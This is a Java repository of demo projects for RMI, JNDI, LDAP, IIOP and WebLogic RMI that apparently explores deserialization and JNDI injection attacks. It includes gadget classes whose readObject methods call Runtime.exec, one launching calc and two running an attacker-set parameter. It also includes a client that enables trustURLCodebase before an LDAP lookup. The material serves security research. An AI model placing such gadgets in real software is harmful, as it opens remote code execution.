├── README.md ├── corba-iiop ├── corba-iiop.iml ├── target │ └── classes │ │ └── com │ │ └── longofo │ │ └── example │ │ ├── Client.class │ │ ├── Server.class │ │ ├── EchoImpl.class │ │ ├── EchoApp │ │ ├── Echo.class │ │ ├── EchoPOA.class │ │ ├── _EchoStub.class │ │ ├── EchoHelper.class │ │ ├── EchoHolder.class │ │ └── EchoOperations.class │ │ └── JndiClient.class ├── src │ └── main │ │ └── java │ │ └── com │ │ └── longofo │ │ └── example │ │ ├── EchoImpl.java │ │ ├── EchoApp │ │ ├── EchoOperations.java │ │ ├── Echo.java │ │ ├── EchoHolder.java │ │ ├── EchoPOA.java │ │ ├── _EchoStub.java │ │ └── EchoHelper.java │ │ ├── Client.java │ │ ├── Server.java │ │ └── JndiClient.java └── pom.xml ├── java-rmi-client ├── java-rmi-client.iml ├── src │ └── main │ │ ├── resources │ │ └── java.policy │ │ └── java │ │ └── com │ │ └── longofo │ │ ├── javarmi │ │ ├── Services.java │ │ ├── Message.java │ │ ├── PublicKnown.java │ │ ├── RMIClient2.java │ │ ├── RMIClient.java │ │ └── RMIClient1.java │ │ └── remoteclass │ │ └── ExportObject1.java └── pom.xml ├── ldap ├── src │ └── main │ │ ├── resources │ │ ├── serObj.ser │ │ └── libs │ │ │ └── unboundid-ldapsdk-3.1.1.jar │ │ └── java │ │ └── com │ │ └── longofo │ │ ├── remoteclass │ │ └── ExportObject.java │ │ ├── LDAPServer2.java │ │ ├── LDAPServer1.java │ │ ├── LDAPRefServer.java │ │ └── LDAPSeriServer.java └── pom.xml ├── remote-class ├── target │ └── classes │ │ ├── Test.class │ │ └── com │ │ └── longofo │ │ ├── remoteclass │ │ ├── HttpServer.class │ │ ├── ExportObject.class │ │ └── ExportObject1.class │ │ └── example │ │ └── _HelloInterface_Stub.class ├── src │ └── main │ │ └── java │ │ ├── Test.java │ │ └── com │ │ └── longofo │ │ ├── example │ │ └── _HelloInterface_Stub.java │ │ └── remoteclass │ │ ├── ExportObject1.java │ │ ├── ExportObject.java │ │ └── HttpServer.java └── pom.xml ├── .idea ├── encodings.xml ├── vcs.xml ├── libraries │ ├── libs.xml │ └── lib.xml ├── artifacts │ └── weblogic_rmi_server_jar.xml ├── inspectionProfiles │ └── Project_Default.xml ├── misc.xml ├── compiler.xml ├── uiDesigner.xml └── workspace.xml ├── java-rmi-server ├── src │ └── main │ │ ├── resources │ │ └── java.policy │ │ └── java │ │ └── com │ │ └── longofo │ │ ├── javarmi │ │ ├── Services.java │ │ ├── ServicesImpl1.java │ │ ├── ServicesImpl.java │ │ ├── Message.java │ │ ├── PublicKnown.java │ │ ├── RMIServer.java │ │ ├── RMIServer1.java │ │ └── RMIServer2.java │ │ └── remoteclass │ │ └── ExportObject.java └── pom.xml ├── rmi-iiop-test-client ├── src │ └── main │ │ ├── resources │ │ └── java.policy │ │ └── java │ │ └── com │ │ └── longofo │ │ └── example │ │ ├── HelloInterface.java │ │ ├── Message.java │ │ └── HelloClient.java ├── target │ └── classes │ │ ├── java.policy │ │ └── com │ │ └── longofo │ │ └── example │ │ ├── Message.class │ │ ├── HelloClient.class │ │ └── HelloInterface.class └── pom.xml ├── rmi-iiop ├── target │ └── classes │ │ └── com │ │ └── longofo │ │ └── example │ │ ├── HelloImpl.class │ │ ├── Message.class │ │ ├── EvilMessage.class │ │ ├── HelloClient.class │ │ ├── HelloServer.class │ │ ├── HelloInterface.class │ │ ├── _HelloImpl_Tie.class │ │ └── _HelloInterface_Stub.class ├── src │ └── main │ │ └── java │ │ └── com │ │ └── longofo │ │ └── example │ │ ├── HelloInterface.java │ │ ├── EvilMessage.java │ │ ├── HelloImpl.java │ │ ├── Message.java │ │ ├── HelloServer.java │ │ └── HelloClient.java └── pom.xml ├── weblogic-rmi-client ├── src │ └── main │ │ ├── resources │ │ └── lib │ │ │ ├── wlthint3client.jar │ │ │ ├── com.bea.core.repackaged.apache.commons.logging_1.2.1.jar │ │ │ └── com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar │ │ └── java │ │ ├── com │ │ └── longofo │ │ │ └── weblogicrmi │ │ │ ├── IHello.java │ │ │ ├── Client1.java │ │ │ ├── Payload1.java │ │ │ ├── Payload.java │ │ │ └── Client.java │ │ ├── weblogic │ │ └── rmi │ │ │ └── extensions │ │ │ └── server │ │ │ └── RemoteWrapper.java │ │ └── javax │ │ └── ejb │ │ └── EJBHome.java └── pom.xml ├── weblogic-rmi-server ├── src │ └── main │ │ └── java │ │ └── com │ │ └── longofo │ │ └── weblogicrmi │ │ ├── IHello.java │ │ └── HelloImpl.java └── pom.xml ├── jndi ├── src │ └── main │ │ └── java │ │ └── com │ │ └── longofo │ │ └── jndi │ │ ├── LDAPClient2.java │ │ ├── LDAPClient1.java │ │ ├── RMIClient1.java │ │ └── RMIServer1.java └── pom.xml ├── weblogic-rmi-iiop ├── pom.xml └── src │ └── main │ └── java │ └── com │ └── longofo │ └── Client.java └── pom.xml /README.md: -------------------------------------------------------------------------------- 1 | #### rmi-jndi-ldap-jrmp-jmx-jms 2 | rmi、jndi、ldap、jrmp、jmx、jms一些demo测试 -------------------------------------------------------------------------------- /corba-iiop/corba-iiop.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /java-rmi-client/java-rmi-client.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ldap/src/main/resources/serObj.ser: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/ldap/src/main/resources/serObj.ser -------------------------------------------------------------------------------- /remote-class/target/classes/Test.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/remote-class/target/classes/Test.class -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /java-rmi-client/src/main/resources/java.policy: -------------------------------------------------------------------------------- 1 | 2 | // Standard extensions get all permissions by default 3 | 4 | grant { 5 | permission java.security.AllPermission; 6 | }; 7 | -------------------------------------------------------------------------------- /java-rmi-server/src/main/resources/java.policy: -------------------------------------------------------------------------------- 1 | 2 | // Standard extensions get all permissions by default 3 | 4 | grant { 5 | permission java.security.AllPermission; 6 | }; 7 | -------------------------------------------------------------------------------- /ldap/src/main/resources/libs/unboundid-ldapsdk-3.1.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/ldap/src/main/resources/libs/unboundid-ldapsdk-3.1.1.jar -------------------------------------------------------------------------------- /rmi-iiop-test-client/src/main/resources/java.policy: -------------------------------------------------------------------------------- 1 | 2 | // Standard extensions get all permissions by default 3 | 4 | grant { 5 | permission java.security.AllPermission; 6 | }; 7 | -------------------------------------------------------------------------------- /rmi-iiop-test-client/target/classes/java.policy: -------------------------------------------------------------------------------- 1 | 2 | // Standard extensions get all permissions by default 3 | 4 | grant { 5 | permission java.security.AllPermission; 6 | }; 7 | -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/Client.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/Client.class -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/Server.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/Server.class -------------------------------------------------------------------------------- /rmi-iiop/target/classes/com/longofo/example/HelloImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop/target/classes/com/longofo/example/HelloImpl.class -------------------------------------------------------------------------------- /rmi-iiop/target/classes/com/longofo/example/Message.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop/target/classes/com/longofo/example/Message.class -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/EchoImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/EchoImpl.class -------------------------------------------------------------------------------- /rmi-iiop/target/classes/com/longofo/example/EvilMessage.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop/target/classes/com/longofo/example/EvilMessage.class -------------------------------------------------------------------------------- /rmi-iiop/target/classes/com/longofo/example/HelloClient.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop/target/classes/com/longofo/example/HelloClient.class -------------------------------------------------------------------------------- /rmi-iiop/target/classes/com/longofo/example/HelloServer.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop/target/classes/com/longofo/example/HelloServer.class -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/resources/lib/wlthint3client.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/weblogic-rmi-client/src/main/resources/lib/wlthint3client.jar -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/EchoApp/Echo.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/EchoApp/Echo.class -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/JndiClient.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/JndiClient.class -------------------------------------------------------------------------------- /rmi-iiop/target/classes/com/longofo/example/HelloInterface.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop/target/classes/com/longofo/example/HelloInterface.class -------------------------------------------------------------------------------- /rmi-iiop/target/classes/com/longofo/example/_HelloImpl_Tie.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop/target/classes/com/longofo/example/_HelloImpl_Tie.class -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/EchoApp/EchoPOA.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/EchoApp/EchoPOA.class -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/EchoApp/_EchoStub.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/EchoApp/_EchoStub.class -------------------------------------------------------------------------------- /remote-class/target/classes/com/longofo/remoteclass/HttpServer.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/remote-class/target/classes/com/longofo/remoteclass/HttpServer.class -------------------------------------------------------------------------------- /rmi-iiop-test-client/target/classes/com/longofo/example/Message.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop-test-client/target/classes/com/longofo/example/Message.class -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/EchoApp/EchoHelper.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/EchoApp/EchoHelper.class -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/EchoApp/EchoHolder.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/EchoApp/EchoHolder.class -------------------------------------------------------------------------------- /remote-class/target/classes/com/longofo/remoteclass/ExportObject.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/remote-class/target/classes/com/longofo/remoteclass/ExportObject.class -------------------------------------------------------------------------------- /remote-class/target/classes/com/longofo/remoteclass/ExportObject1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/remote-class/target/classes/com/longofo/remoteclass/ExportObject1.class -------------------------------------------------------------------------------- /rmi-iiop/target/classes/com/longofo/example/_HelloInterface_Stub.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop/target/classes/com/longofo/example/_HelloInterface_Stub.class -------------------------------------------------------------------------------- /corba-iiop/target/classes/com/longofo/example/EchoApp/EchoOperations.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/corba-iiop/target/classes/com/longofo/example/EchoApp/EchoOperations.class -------------------------------------------------------------------------------- /remote-class/target/classes/com/longofo/example/_HelloInterface_Stub.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/remote-class/target/classes/com/longofo/example/_HelloInterface_Stub.class -------------------------------------------------------------------------------- /rmi-iiop-test-client/target/classes/com/longofo/example/HelloClient.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop-test-client/target/classes/com/longofo/example/HelloClient.class -------------------------------------------------------------------------------- /rmi-iiop-test-client/target/classes/com/longofo/example/HelloInterface.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/rmi-iiop-test-client/target/classes/com/longofo/example/HelloInterface.class -------------------------------------------------------------------------------- /rmi-iiop/src/main/java/com/longofo/example/HelloInterface.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | public interface HelloInterface extends java.rmi.Remote { 4 | public void sayHello(Message msg) throws java.rmi.RemoteException; 5 | } 6 | -------------------------------------------------------------------------------- /rmi-iiop-test-client/src/main/java/com/longofo/example/HelloInterface.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | public interface HelloInterface extends java.rmi.Remote { 4 | public void sayHello(Message msg) throws java.rmi.RemoteException; 5 | } 6 | -------------------------------------------------------------------------------- /java-rmi-client/src/main/java/com/longofo/javarmi/Services.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.rmi.RemoteException; 4 | 5 | public interface Services extends java.rmi.Remote { 6 | Object sendMessage(Message msg) throws RemoteException; 7 | } -------------------------------------------------------------------------------- /java-rmi-server/src/main/java/com/longofo/javarmi/Services.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.rmi.RemoteException; 4 | 5 | public interface Services extends java.rmi.Remote { 6 | Object sendMessage(Message msg) throws RemoteException; 7 | } -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/resources/lib/com.bea.core.repackaged.apache.commons.logging_1.2.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/weblogic-rmi-client/src/main/resources/lib/com.bea.core.repackaged.apache.commons.logging_1.2.1.jar -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/resources/lib/com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/HEAD/weblogic-rmi-client/src/main/resources/lib/com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/EchoImpl.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import com.longofo.example.EchoApp.EchoPOA; 4 | 5 | public class EchoImpl extends EchoPOA { 6 | @Override 7 | public String echoString() { 8 | return "Hello World!!!"; 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /.idea/libraries/libs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /java-rmi-server/src/main/java/com/longofo/javarmi/ServicesImpl1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import com.longofo.remoteclass.ExportObject; 4 | 5 | import java.rmi.RemoteException; 6 | 7 | public class ServicesImpl1 implements Services { 8 | @Override 9 | public ExportObject sendMessage(Message msg) throws RemoteException { 10 | return new ExportObject(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /java-rmi-server/src/main/java/com/longofo/javarmi/ServicesImpl.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.rmi.RemoteException; 4 | 5 | public class ServicesImpl implements Services { 6 | public ServicesImpl() throws RemoteException { 7 | } 8 | 9 | @Override 10 | public Object sendMessage(Message msg) throws RemoteException { 11 | return msg.getMessage(); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/EchoApp/EchoOperations.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example.EchoApp; 2 | 3 | 4 | /** 5 | * EchoApp/EchoOperations.java . 6 | * Generated by the IDL-to-Java compiler (portable), version "3.2" 7 | * from Echo.idl 8 | * Friday, June 29, 2018 4:29:11 PM EAT 9 | */ 10 | 11 | public interface EchoOperations 12 | { 13 | String echoString(); 14 | } // interface EchoOperations 15 | -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/EchoApp/Echo.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example.EchoApp; 2 | 3 | 4 | /** 5 | * EchoApp/Echo.java . 6 | * Generated by the IDL-to-Java compiler (portable), version "3.2" 7 | * from Echo.idl 8 | * Friday, June 29, 2018 4:29:11 PM EAT 9 | */ 10 | 11 | public interface Echo extends EchoOperations, org.omg.CORBA.Object, org.omg.CORBA.portable.IDLEntity 12 | { 13 | } // interface Echo 14 | -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/IHello.java: -------------------------------------------------------------------------------- 1 | package com.longofo.weblogicrmi; 2 | 3 | import java.io.IOException; 4 | import java.io.ObjectInputStream; 5 | import java.rmi.RemoteException; 6 | 7 | public interface IHello extends java.rmi.Remote { 8 | String sayHello() throws RemoteException; 9 | 10 | void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException; 11 | } 12 | -------------------------------------------------------------------------------- /weblogic-rmi-server/src/main/java/com/longofo/weblogicrmi/IHello.java: -------------------------------------------------------------------------------- 1 | package com.longofo.weblogicrmi; 2 | 3 | import java.io.IOException; 4 | import java.io.ObjectInputStream; 5 | import java.rmi.RemoteException; 6 | 7 | public interface IHello extends java.rmi.Remote { 8 | String sayHello() throws RemoteException; 9 | 10 | void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException; 11 | } 12 | -------------------------------------------------------------------------------- /rmi-iiop/src/main/java/com/longofo/example/EvilMessage.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import java.io.ObjectInputStream; 4 | 5 | public class EvilMessage extends Message { 6 | private void readObject(ObjectInputStream s) { 7 | try { 8 | s.defaultReadObject(); 9 | Runtime.getRuntime().exec("calc"); 10 | } catch (Exception ex) { 11 | ex.printStackTrace(); 12 | } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /jndi/src/main/java/com/longofo/jndi/LDAPClient2.java: -------------------------------------------------------------------------------- 1 | package com.longofo.jndi; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class LDAPClient2 { 8 | public static void main(String[] args) throws NamingException { 9 | Context ctx = new InitialContext(); 10 | Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com"); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /java-rmi-client/src/main/java/com/longofo/javarmi/Message.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.io.Serializable; 4 | 5 | public class Message implements Serializable { 6 | private String msg; 7 | 8 | public Message() { 9 | } 10 | 11 | public String getMessage() { 12 | System.out.println("Processing message: " + msg); 13 | return msg; 14 | } 15 | 16 | public void setMessage(String msg) { 17 | this.msg = msg; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /remote-class/src/main/java/Test.java: -------------------------------------------------------------------------------- 1 | import com.longofo.remoteclass.ExportObject; 2 | 3 | import java.io.*; 4 | 5 | public class Test { 6 | public static void main(String[] args) throws IOException { 7 | ExportObject exportObject = new ExportObject(); 8 | File f = new File("serObj.ser"); 9 | ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 10 | out.writeObject(exportObject); 11 | out.flush(); 12 | out.close(); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /jndi/src/main/java/com/longofo/jndi/LDAPClient1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.jndi; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class LDAPClient1 { 8 | public static void main(String[] args) throws NamingException { 9 | System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); 10 | Context ctx = new InitialContext(); 11 | Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com"); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /.idea/artifacts/weblogic_rmi_server_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/weblogic_rmi_server_jar 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /java-rmi-server/src/main/java/com/longofo/javarmi/Message.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.io.Serializable; 4 | 5 | public class Message implements Serializable { 6 | private static final long serialVersionUID = -6210579029160025375L; 7 | private String msg; 8 | 9 | public Message() { 10 | } 11 | 12 | public String getMessage() { 13 | System.out.println("Processing message: " + msg); 14 | return msg; 15 | } 16 | 17 | public void setMessage(String msg) { 18 | this.msg = msg; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /jndi/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | jndi 13 | 14 | 15 | -------------------------------------------------------------------------------- /ldap/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | ldap 13 | 14 | 15 | -------------------------------------------------------------------------------- /rmi-iiop/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | rmi-iiop 13 | 14 | 15 | -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/java/weblogic/rmi/extensions/server/RemoteWrapper.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by Fernflower decompiler) 4 | // 5 | 6 | package weblogic.rmi.extensions.server; 7 | 8 | import java.io.IOException; 9 | import java.io.ObjectInput; 10 | import java.io.Serializable; 11 | import java.rmi.Remote; 12 | 13 | public interface RemoteWrapper extends Serializable { 14 | Remote getRemoteDelegate(); 15 | 16 | void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException; 17 | } 18 | -------------------------------------------------------------------------------- /rmi-iiop-test-client/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | rmi-iiop-test-client 13 | 14 | 15 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 10 | -------------------------------------------------------------------------------- /java-rmi-server/src/main/java/com/longofo/remoteclass/ExportObject.java: -------------------------------------------------------------------------------- 1 | package com.longofo.remoteclass; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.Name; 5 | import javax.naming.spi.ObjectFactory; 6 | import java.io.Serializable; 7 | import java.util.Hashtable; 8 | 9 | public class ExportObject implements ObjectFactory, Serializable { 10 | 11 | private static final long serialVersionUID = 4474289574195395731L; 12 | 13 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { 14 | return null; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/java/javax/ejb/EJBHome.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by Fernflower decompiler) 4 | // 5 | 6 | package javax.ejb; 7 | 8 | import java.rmi.Remote; 9 | import java.rmi.RemoteException; 10 | 11 | public interface EJBHome extends Remote { 12 | void remove(Handle var1) throws RemoteException, RemoveException; 13 | 14 | void remove(Object var1) throws RemoteException, RemoveException; 15 | 16 | EJBMetaData getEJBMetaData() throws RemoteException; 17 | 18 | HomeHandle getHomeHandle() throws RemoteException; 19 | } 20 | -------------------------------------------------------------------------------- /.idea/libraries/lib.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /java-rmi-server/src/main/java/com/longofo/javarmi/PublicKnown.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.io.IOException; 4 | import java.io.ObjectInputStream; 5 | import java.io.Serializable; 6 | 7 | public class PublicKnown implements Serializable { 8 | private static final long serialVersionUID = 7439581476576889858L; 9 | private String param; 10 | 11 | public void setParam(String param) { 12 | this.param = param; 13 | } 14 | 15 | private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { 16 | in.defaultReadObject(); 17 | Runtime.getRuntime().exec(this.param); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /rmi-iiop/src/main/java/com/longofo/example/HelloImpl.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import javax.rmi.PortableRemoteObject; 4 | import java.rmi.RemoteException; 5 | 6 | public class HelloImpl extends PortableRemoteObject implements HelloInterface { 7 | /** 8 | * Initializes the object by calling exportObject(this). 9 | * 10 | * @throws RemoteException if export fails. 11 | */ 12 | protected HelloImpl() throws RemoteException { 13 | } 14 | 15 | @Override 16 | public void sayHello(Message msg) throws RemoteException { 17 | System.out.println("Hello from " + msg.getMsg() + "!!"); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /java-rmi-client/src/main/java/com/longofo/remoteclass/ExportObject1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.remoteclass; 2 | 3 | import com.longofo.javarmi.Message; 4 | 5 | import javax.naming.Context; 6 | import javax.naming.Name; 7 | import javax.naming.spi.ObjectFactory; 8 | import java.io.Serializable; 9 | import java.util.Hashtable; 10 | 11 | public class ExportObject1 extends Message implements ObjectFactory, Serializable { 12 | 13 | private static final long serialVersionUID = 4474289574195395731L; 14 | 15 | 16 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { 17 | return null; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /java-rmi-client/src/main/java/com/longofo/javarmi/PublicKnown.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.io.IOException; 4 | import java.io.ObjectInputStream; 5 | import java.io.Serializable; 6 | 7 | public class PublicKnown extends Message implements Serializable { 8 | private static final long serialVersionUID = 7439581476576889858L; 9 | private String param; 10 | 11 | public void setParam(String param) { 12 | this.param = param; 13 | } 14 | 15 | private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { 16 | in.defaultReadObject(); 17 | Runtime.getRuntime().exec(this.param); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /rmi-iiop/src/main/java/com/longofo/example/Message.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import java.io.ObjectInputStream; 4 | import java.io.Serializable; 5 | 6 | public class Message implements Serializable { 7 | private String msg; 8 | 9 | public String getMsg() { 10 | return msg; 11 | } 12 | 13 | public void setMsg(String msg) { 14 | this.msg = msg; 15 | } 16 | 17 | private void readObject(ObjectInputStream s) { 18 | try { 19 | s.defaultReadObject(); 20 | System.out.println("In Message readObject"); 21 | } catch (Exception ex) { 22 | ex.printStackTrace(); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /rmi-iiop-test-client/src/main/java/com/longofo/example/Message.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import java.io.ObjectInputStream; 4 | import java.io.Serializable; 5 | 6 | public class Message implements Serializable { 7 | private String msg; 8 | 9 | public String getMsg() { 10 | return msg; 11 | } 12 | 13 | public void setMsg(String msg) { 14 | this.msg = msg; 15 | } 